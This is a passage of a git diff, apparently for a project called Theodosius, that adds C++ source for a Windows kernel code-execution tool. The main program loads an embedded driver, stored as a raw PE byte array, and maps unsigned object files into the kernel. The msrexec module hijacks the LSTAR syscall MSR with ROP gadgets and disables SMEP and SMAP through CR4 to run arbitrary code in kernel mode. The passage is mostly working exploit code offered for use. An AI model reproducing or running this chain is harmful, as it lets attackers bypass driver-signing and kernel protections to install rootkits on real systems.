TOKEN_PRIVILEGES token_state{}; + token_state.PrivilegeCount = 1; + token_state.Privileges[0].Luid = luid; + token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) + return false; + + CloseHandle(token_handle); + return true; + } + + inline auto get_service_image_path(const std::string& service_name) -> std::string + { + HKEY reg_handle; + DWORD bytes_read; + char image_path[0xFF]; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + result = RegGetValueA( + reg_handle, + service_name.c_str(), + "ImagePath", + REG_SZ, + NULL, + image_path, + &bytes_read + ); + + RegCloseKey(reg_handle); + return std::string(image_path); + } + } + + inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS + { + if (!util::enable_privilege(L"SeLoadDriverPrivilege")) + return false; + + if (!util::create_service_entry("\\??\\" + + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) + return false; + + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + return NtLoadDriver(&driver_reg_path_unicode); + } + + inline auto load(const std::vector& drv_buffer) -> std::pair + { + static const auto random_file_name = [](std::size_t length) -> std::string + { + std::srand(std::time(0)); + static const auto randchar = []() -> char + { + const char charset[] = + "0123456789" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const std::size_t max_index = (sizeof(charset) - 1); + return charset[rand() % max_index]; + }; + + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; + }; + + const auto service_name = random_file_name(16); + const auto file_path = std::filesystem::temp_directory_path().string() + service_name; + std::ofstream output_file(file_path.c_str(), std::ios::binary); + + output_file.write((char*)drv_buffer.data(), drv_buffer.size()); + output_file.close(); + + return { load(file_path, service_name), service_name }; + } + + inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair + { + std::vector image(buffer, buffer + size); + return load(image); + } + + inline auto unload(const std::string& service_name) -> NTSTATUS + { + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString( + &driver_reg_path_unicode, &driver_rep_path_cstr, true); + + const bool unload_result = + NtUnloadDriver(&driver_reg_path_unicode); + + util::delete_service_entry(service_name); + // sometimes you cannot delete the driver off disk because there are still handles open + // to the driver, this means the driver is still loaded into the kernel... + try + { + std::filesystem::remove( + std::filesystem::temp_directory_path() + .string() + service_name); + } + catch (std::exception& e) + { + return STATUS_ABANDONED; + } + return unload_result; + } +} \ No newline at end of file diff --git a/Theodosius/main.cpp b/Theodosius/main.cpp new file mode 100644 index 0000000..901f7d9 --- /dev/null +++ b/Theodosius/main.cpp @@ -0,0 +1,98 @@ +#include +#include + +#include "vdm.hpp" +#include "msrexec.hpp" +#include "hmdm_ctx.h" + +namespace fs = std::filesystem; +int main(int argc, char** argv) +{ + if (argc < 2) + { + std::printf("> please provide a folder of objs to be linked...\n"); + return -1; + } + + // read each .obj file from directory into std::vector... + std::vector image_objs; + for (auto& file : fs::recursive_directory_iterator(argv[1])) + { + if (!strcmp(file.path().extension().string().c_str(), ".obj")) + { + lnk::obj_buffer_t obj_buffer; + utils::open_binary_file(file.path().string(), obj_buffer); + image_objs.push_back(obj_buffer); + } + } + + std::printf("> number of objs = %d\n", image_objs.size()); + const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); + if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) + { + std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); + return -1; + } + + writemsr_t _write_msr = + [&](std::uint32_t key, std::uint64_t value) -> bool + { + return vdm::writemsr(key, value); + }; + + vdm::msrexec_ctx msrexec(_write_msr); + drv::kalloc_t _kalloc = [&](std::size_t size) -> void* + { + void* alloc_base; + msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void + { + using ex_alloc_pool_t = + void* (*)(std::uint32_t, std::size_t); + + const auto ex_alloc_pool = + reinterpret_cast( + get_kroutine(krnl_base, "ExAllocatePool")); + + alloc_base = ex_alloc_pool(NULL, size); + }); + return alloc_base; + }; + + drv::kmemcpy_t _kmemcpy = + [&](void* dest, const void* src, std::size_t size) -> void* + { + void* result = nullptr; + msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void + { + const auto kmemcpy = + reinterpret_cast( + get_kroutine(krnl_base, "memcpy")); + + result = kmemcpy(dest, src, size); + }); + return result; + }; + + drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy }); + const auto drv_entry = drv_mapper.map_objs(image_objs); + + std::printf("\n\n> driver entry -> 0x%p\n", drv_entry); + std::getchar(); + + int result; + msrexec.exec([&result, drv_entry = drv_entry] + (void* krnl_base, get_system_routine_t get_kroutine) -> void + { + using drv_entry_t = int(*)(); + result = reinterpret_cast(drv_entry)(); + }); + + const auto unload_status = vdm::unload_drv(drv_handle, drv_key); + if (unload_status != STATUS_SUCCESS) + { + std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); + return -1; + } + std::printf("> press enter to close...\n"); + std::getchar(); +} \ No newline at end of file diff --git a/Theodosius/msrexec.cpp b/Theodosius/msrexec.cpp new file mode 100644 index 0000000..4aab5b5 --- /dev/null +++ b/Theodosius/msrexec.cpp @@ -0,0 +1,208 @@ +#include "msrexec.hpp" + +void msrexec_handler(callback_t* callback) +{ + // restore LSTAR.... + __writemsr(IA32_LSTAR_MSR, m_system_call); + + // call usermode code... + (*callback)(ntoskrnl_base, get_system_routine); +} + +namespace vdm +{ + msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) + : wrmsr(wrmsr) + { + if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget) + if (!find_gadgets()) + DBG_PRINT("> failed to find gadgets...\n"); + + if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call) + if (!find_globals()) + DBG_PRINT("> failed to find globals...\n"); + + cpuid_eax_01 cpuid_info; + __cpuid((int*)&cpuid_info, 1); + + cpuid_eax_07 cpuid_features; + __cpuid((int*)&cpuid_features, 7); + + cr4 cr4_value{}; + cr4_value.debugging_extensions = true; + cr4_value.page_size_extensions = true; + cr4_value.machine_check_enable = true; + + cr4_value.physical_address_extension = + cpuid_info.cpuid_feature_information_edx.physical_address_extension; + + cr4_value.os_fxsave_fxrstor_support = + cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions; + + cr4_value.os_xmm_exception_support = true; + + cr4_value.fsgsbase_enable = + IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE); + + cr4_value.os_xsave = + IsProcessorFeaturePresent(PF_XSAVE_ENABLED); + + cr4_value.pcid_enable = + cpuid_info.cpuid_feature_information_ecx + .process_context_identifiers; + + m_smep_off.flags = cr4_value.flags; + m_smep_off.smep_enable = false; + m_smep_off.smap_enable = false; // newer cpus have this on... + + // WARNING: some virtual machines dont have SMEP... + // my VMWare VM doesnt... nor does my Virtual Box VM... + m_smep_on.flags = cr4_value.flags; + m_smep_on.smep_enable = cpuid_features.ebx.smep; + m_smep_on.smap_enable = cpuid_features.ebx.smap; + + ntoskrnl_base = + reinterpret_cast( + utils::kmodule::get_base("ntoskrnl.exe")); + + get_system_routine = + reinterpret_cast( + utils::kmodule::get_export( + "ntoskrnl.exe", "RtlFindExportedRoutineByName")); + + DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget); + DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget); + DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget); + DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); + DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); + DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call); + + DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags); + DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags); + + DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n"); + std::getchar(); + } + + auto msrexec_ctx::find_gadgets() -> bool + { + m_mov_cr4_gadget = + utils::rop::find_kgadget( + MOV_CR4_GADGET, "xxxx"); + + if (!m_mov_cr4_gadget) + return {}; + + m_sysret_gadget = + utils::rop::find_kgadget( + SYSRET_GADGET, "xxx"); + + if (!m_sysret_gadget) + return {}; + + m_pop_rcx_gadget = + utils::rop::find_kgadget( + POP_RCX_GADGET, "xx"); + + if (!m_pop_rcx_gadget) + return {}; + + return true; + } + + auto msrexec_ctx::find_globals() -> bool + { + const auto [section_data, section_rva] = + utils::pe::get_section( + reinterpret_cast( + LoadLibraryA("ntoskrnl.exe")), ".text"); + + const auto ki_system_call = + utils::scan(reinterpret_cast( + section_data.data()), section_data.size(), + KI_SYSCALL_SIG, KI_SYSCALL_MASK); + + if (!ki_system_call) + return {}; + + m_system_call = (ki_system_call - + reinterpret_cast( + section_data.data())) + section_rva + + utils::kmodule::get_base("ntoskrnl.exe"); + + /* + .text:0000000140406CC0 KiSystemCall64 + .text:0000000140406CC0 0F 01 F8 swapgs + .text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset... + .text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset... + */ + + m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); + m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); + + // handle KVA shadowing... if KVA shadowing is + // enabled LSTAR will point at KiSystemCall64Shadow... + SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; + + // if SystemKernelVaShadowInformation is not a valid class just + // return true and assume LSTAR points to KiSystemCall64... + if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr))) + { + if (kva_info.KvaShadowFlags.KvaShadowEnabled) + { + const auto [section_data, section_rva] = + utils::pe::get_section( + reinterpret_cast( + LoadLibraryA("ntoskrnl.exe")), "KVASCODE"); + + // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow... + if (!section_rva || section_data.empty()) + return true; + + const auto ki_system_shadow_call = + utils::scan(reinterpret_cast( + section_data.data()), section_data.size(), + KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK); + + // already set m_syscall_call so we just return true... + if (!ki_system_shadow_call) + return true; + + // else we update m_system_call with KiSystemCall64Shadow... + m_system_call = (ki_system_shadow_call - + reinterpret_cast( + section_data.data())) + section_rva + + utils::kmodule::get_base("ntoskrnl.exe"); + } + } + return true; + } + + void msrexec_ctx::exec(callback_t kernel_callback) + { + const thread_info_t thread_info = + { + GetPriorityClass(GetCurrentProcess()), + GetThreadPriority(GetCurrentThread()) + }; + + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + + // set LSTAR to first rop gadget... race begins here... + if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget)) + DBG_PRINT("> failed to set LSTAR...\n"); + else + // go go gadget kernel execution... + syscall_wrapper(&kernel_callback); + + SetPriorityClass(GetCurrentProcess(), thread_info.first); + SetThreadPriority(GetCurrentThread(), thread_info.second); + } + + void msrexec_ctx::set_wrmsr(writemsr_t wrmsr) + { this->wrmsr = wrmsr; } + + auto msrexec_ctx::get_wrmsr() -> writemsr_t const + { return this->wrmsr; } +} \ No newline at end of file diff --git a/Theodosius/msrexec.hpp b/Theodosius/msrexec.hpp new file mode 100644 index 0000000..2c68f05 --- /dev/null +++ b/Theodosius/msrexec.hpp @@ -0,0 +1,43 @@ +#pragma once +#include "utils.hpp" +#include "syscall_handler.h" +#include + +#define IA32_LSTAR_MSR 0xC0000082 +#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" +#define POP_RCX_GADGET "\x59\xc3" +#define SYSRET_GADGET "\x48\x0F\x07" + +// not sure how far back this signature goes... works on 1507 though.... +#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" +#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" +static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); + +#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC" +#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx" +static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK); + +using get_system_routine_t = void* (*)(void*, const char*); +using callback_t = std::function; +using thread_info_t = std::pair; +using writemsr_t = std::function; + +extern "C" void msrexec_handler(callback_t* callback); +inline get_system_routine_t get_system_routine = nullptr; +inline void* ntoskrnl_base = nullptr; + +namespace vdm +{ + class msrexec_ctx + { + public: + explicit msrexec_ctx(writemsr_t wrmsr); + void exec(callback_t kernel_callback); + void set_wrmsr(writemsr_t wrmsr); + auto get_wrmsr() -> writemsr_t const; + private: + auto find_gadgets() -> bool; + auto find_globals() -> bool; + writemsr_t wrmsr; + }; +} \ No newline at end of file diff --git a/Theodosius/raw_driver.hpp b/Theodosius/raw_driver.hpp new file mode 100644 index 0000000..fee21a0 --- /dev/null +++ b/Theodosius/raw_driver.hpp @@ -0,0 +1,1730 @@ +#pragma once + +inline unsigned char raw_driver[] = +{ + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, + 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, + 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, + 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xD8, 0x5C, 0x84, + 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, + 0xEF, 0xB9, 0x33, 0xD7, 0xF1, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x33, 0xD6, + 0xEA, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x36, 0xD6, 0xEA, 0xB9, 0x32, 0xD7, + 0x8A, 0xDF, 0x31, 0xD6, 0xEC, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0x37, 0xD6, + 0xEE, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0xCD, 0xD7, 0xEE, 0xB9, 0x32, 0xD7, + 0x7E, 0xD0, 0x30, 0xD6, 0xEE, 0xB9, 0x32, 0xD7, 0x52, 0x69, 0x63, 0x68, + 0xEF, 0xB9, 0x32, 0xD7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, + 0x64, 0x86, 0x07, 0x00, 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x10, + 0x00, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x18, 0xA7, 0x00, 0x00, 0x01, 0x00, 0x60, 0x41, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, + 0x3C, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x28, 0x04, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, + 0xD8, 0x24, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, + 0x40, 0x21, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x21, 0x00, 0x00, + 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x00, 0x00, 0x00, 0x8A, 0x0F, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x05, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, + 0x80, 0x03, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, + 0x74, 0x61, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, + 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x04, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x62, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, + 0x28, 0x04, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, + 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, + 0x6F, 0x63, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0xAA, 0xB8, 0x00, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x59, 0x22, 0x00, 0x00, 0x48, 0x83, 0x60, 0xE8, 0x00, + 0x48, 0x8B, 0xF2, 0x33, 0xD2, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xFF, + 0x15, 0xFB, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x0D, 0x74, 0x22, 0x00, 0x00, + 0x4C, 0x8D, 0x3D, 0x6D, 0x22, 0x00, 0x00, 0x49, 0x3B, 0xCF, 0x74, 0x3C, + 0x48, 0x8B, 0x45, 0x30, 0x48, 0x8B, 0x19, 0x48, 0x39, 0x41, 0x10, 0x75, + 0x20, 0x48, 0x39, 0x4B, 0x08, 0x75, 0x22, 0x48, 0x8B, 0x79, 0x08, 0x48, + 0x39, 0x0F, 0x75, 0x19, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x7B, 0x08, 0xE8, + 0xEC, 0x02, 0x00, 0x00, 0x48, 0x3B, 0xFB, 0x74, 0x0F, 0x48, 0x8B, 0xCB, + 0x49, 0x3B, 0xDF, 0xEB, 0xC9, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, + 0x48, 0x83, 0x66, 0x38, 0x00, 0x33, 0xD2, 0x83, 0x66, 0x30, 0x00, 0x48, + 0x8B, 0xCE, 0xFF, 0x15, 0xF8, 0x0F, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, + 0x0D, 0xD7, 0x21, 0x00, 0x00, 0xFF, 0x15, 0x81, 0x0F, 0x00, 0x00, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x33, 0xC0, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, + 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x83, 0xC4, + 0x30, 0x41, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, + 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xCA, 0x83, 0x62, 0x30, 0x00, + 0x33, 0xD2, 0xFF, 0x15, 0xB0, 0x0F, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, + 0xC4, 0x28, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4C, 0x8B, 0xAA, + 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x7A, 0x38, 0x48, 0x8B, 0x72, 0x18, + 0x33, 0xDB, 0x4C, 0x8B, 0xFA, 0xBA, 0x4C, 0x93, 0x22, 0x00, 0x41, 0x8B, + 0x4D, 0x18, 0x41, 0x8B, 0x6D, 0x10, 0x45, 0x8B, 0x75, 0x08, 0x48, 0x89, + 0x1F, 0x3B, 0xCA, 0x0F, 0x87, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x10, + 0x01, 0x00, 0x00, 0x8B, 0xC1, 0x2D, 0x48, 0x53, 0x22, 0x00, 0x74, 0x7C, + 0x83, 0xE8, 0x10, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x83, 0xE8, 0x1C, + 0x74, 0x45, 0x83, 0xE8, 0x08, 0x74, 0x1E, 0x83, 0xF8, 0x0C, 0x0F, 0x85, + 0x92, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, + 0x48, 0x8B, 0xCE, 0xE8, 0x4C, 0x05, 0x00, 0x00, 0xE9, 0xEC, 0x00, 0x00, + 0x00, 0x41, 0x83, 0xFE, 0x04, 0x73, 0x0A, 0xBB, 0x23, 0x00, 0x00, 0xC0, + 0xE9, 0xDE, 0x00, 0x00, 0x00, 0xC7, 0x06, 0x12, 0x00, 0x00, 0x01, 0x48, + 0xC7, 0x07, 0x04, 0x00, 0x00, 0x00, 0xE9, 0xCC, 0x00, 0x00, 0x00, 0x49, + 0x8B, 0xCF, 0xFF, 0x15, 0x20, 0x0F, 0x00, 0x00, 0x49, 0x8B, 0x55, 0x30, + 0x44, 0x8B, 0xCD, 0x8B, 